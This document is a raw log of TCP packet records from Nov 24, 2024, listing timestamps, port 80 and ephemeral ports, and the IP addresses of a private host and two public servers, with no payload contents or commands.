Nov 24, 2024 12:24:25.684263945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.684313059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.684362888 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.685056925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.685091019 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.686033010 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.686067104 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.686090946 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.686120033 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.686815023 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.687743902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.687782049 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.687815905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.687829971 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.687856913 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.688556910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.689443111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.689493895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.689527035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.689651012 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.690352917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.690527916 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.690577030 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.691248894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.691282988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.691337109 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.692075014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.692342043 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.692392111 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.692971945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.693042040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.693121910 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.693844080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.694056034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.694142103 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.694695950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.695597887 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.695638895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.695672989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.695686102 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.695708990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.696512938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.696558952 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.696911097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.697386026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.697423935 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.697432995 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.698242903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.698292971 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.698335886 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.699106932 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.699120045 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.699759960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.699812889 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.700022936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.700057030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.700103998 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.700891018 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.701085091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.701196909 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.701726913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.702059031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.702106953 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.702611923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.702718019 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.702765942 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.703583956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.704090118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.704142094 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.704370022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.704402924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.704454899 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.705229044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.705790997 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.705833912 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.706111908 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.706526041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.706577063 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.706976891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.707067013 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.707079887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.710438013 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.718369007 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.795243025 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.795726061 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.795761108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.795794964 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.795900106 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.795900106 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.796633005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.796686888 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.796722889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.796745062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.796960115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.797092915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.797127962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.797142982 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.797163010 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.797167063 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.797205925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.798121929 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.798171997 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.798250914 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.798296928 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.799201965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.799475908 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.799824953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.799874067 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.800326109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.800371885 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.800847054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.800894022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.801412106 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.801460981 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.801827908 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.801911116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.802556038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.802603006 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.803165913 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.803215981 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.803625107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.803677082 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.804209948 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.804279089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.804773092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.804845095 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.805021048 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.805073023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.805854082 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.805954933 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.806035042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.806087971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.806993008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.807044029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.807107925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.807194948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.808109045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.808171034 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.808850050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.809132099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.809170008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.809215069 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.809787989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.809837103 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.810271978 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.810326099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.810369968 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.810410023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.811367989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.811422110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.811947107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.812002897 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.812443018 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.812495947 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.812632084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.812683105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.813762903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.813798904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.813839912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.813853025 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.814680099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.814740896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.815856934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.815907955 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.815934896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.815942049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.815953016 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.815983057 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.817004919 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.817059040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.817311049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.817365885 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.817987919 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.818043947 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.818101883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.818166971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.819087029 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.819139957 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.819654942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.819703102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.820296049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.820342064 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.820436954 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.820523024 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.821335077 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.821394920 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.821472883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.821522951 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.822402954 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.822454929 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.822721958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.822767019 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.823635101 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.823698044 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.823894978 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.823946953 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.824664116 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.824717045 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.825412989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.825459003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.825730085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.825777054 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.825913906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.826010942 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.826833010 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.826914072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.826978922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.827102900 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.827969074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.828057051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.828121901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.828167915 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.829113960 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.829216957 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.829355001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.829406977 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.830204964 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.830442905 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.830509901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.830560923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.831310034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.831361055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.831379890 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.831402063 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.832469940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.832504988 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.832524061 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.832545996 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.833496094 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.833547115 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.833822966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.833872080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.834585905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.834646940 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.835124969 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.835175037 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.835661888 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.835721970 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.836173058 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.836796999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.836863041 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.837357998 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.837922096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.837980032 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.838232040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.838277102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.838985920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.839039087 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.839499950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.839557886 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.840131998 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.840182066 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.840476990 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.840658903 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.841342926 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.841394901 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.842055082 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.842380047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.842411995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.842438936 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.842468977 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.843425035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.843682051 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.843739033 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.844518900 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.845391989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.845789909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.845824003 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.845838070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.845860004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.845885992 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.845900059 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.846770048 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.846895933 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.846985102 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.847029924 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.847861052 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.847934008 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.849008083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.849044085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.849078894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.849083900 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.850171089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.850219965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.850507021 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.850557089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.851167917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.852099895 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.852287054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.852322102 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.852334976 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.852364063 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.852394104 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.852442026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.853434086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.853482962 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.854129076 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.854176998 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.854445934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.854501009 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.874219894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.874569893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.874604940 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.874661922 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.874691010 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.875281096 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.875401020 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.875538111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.875652075 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.876298904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.876599073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.876652002 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.877340078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.877644062 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.877691984 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.878101110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.878283978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.878331900 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.878950119 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.879173040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.879245996 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.879847050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.879986048 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.880037069 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.880712986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.880806923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.880857944 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.881622076 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.882432938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.882503033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.882522106 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.882536888 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.882572889 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.883302927 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.884248972 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.884282112 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.884299040 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.884315968 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.884368896 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.885114908 CET	80	49792	34.116.198.130	192.168.2.4
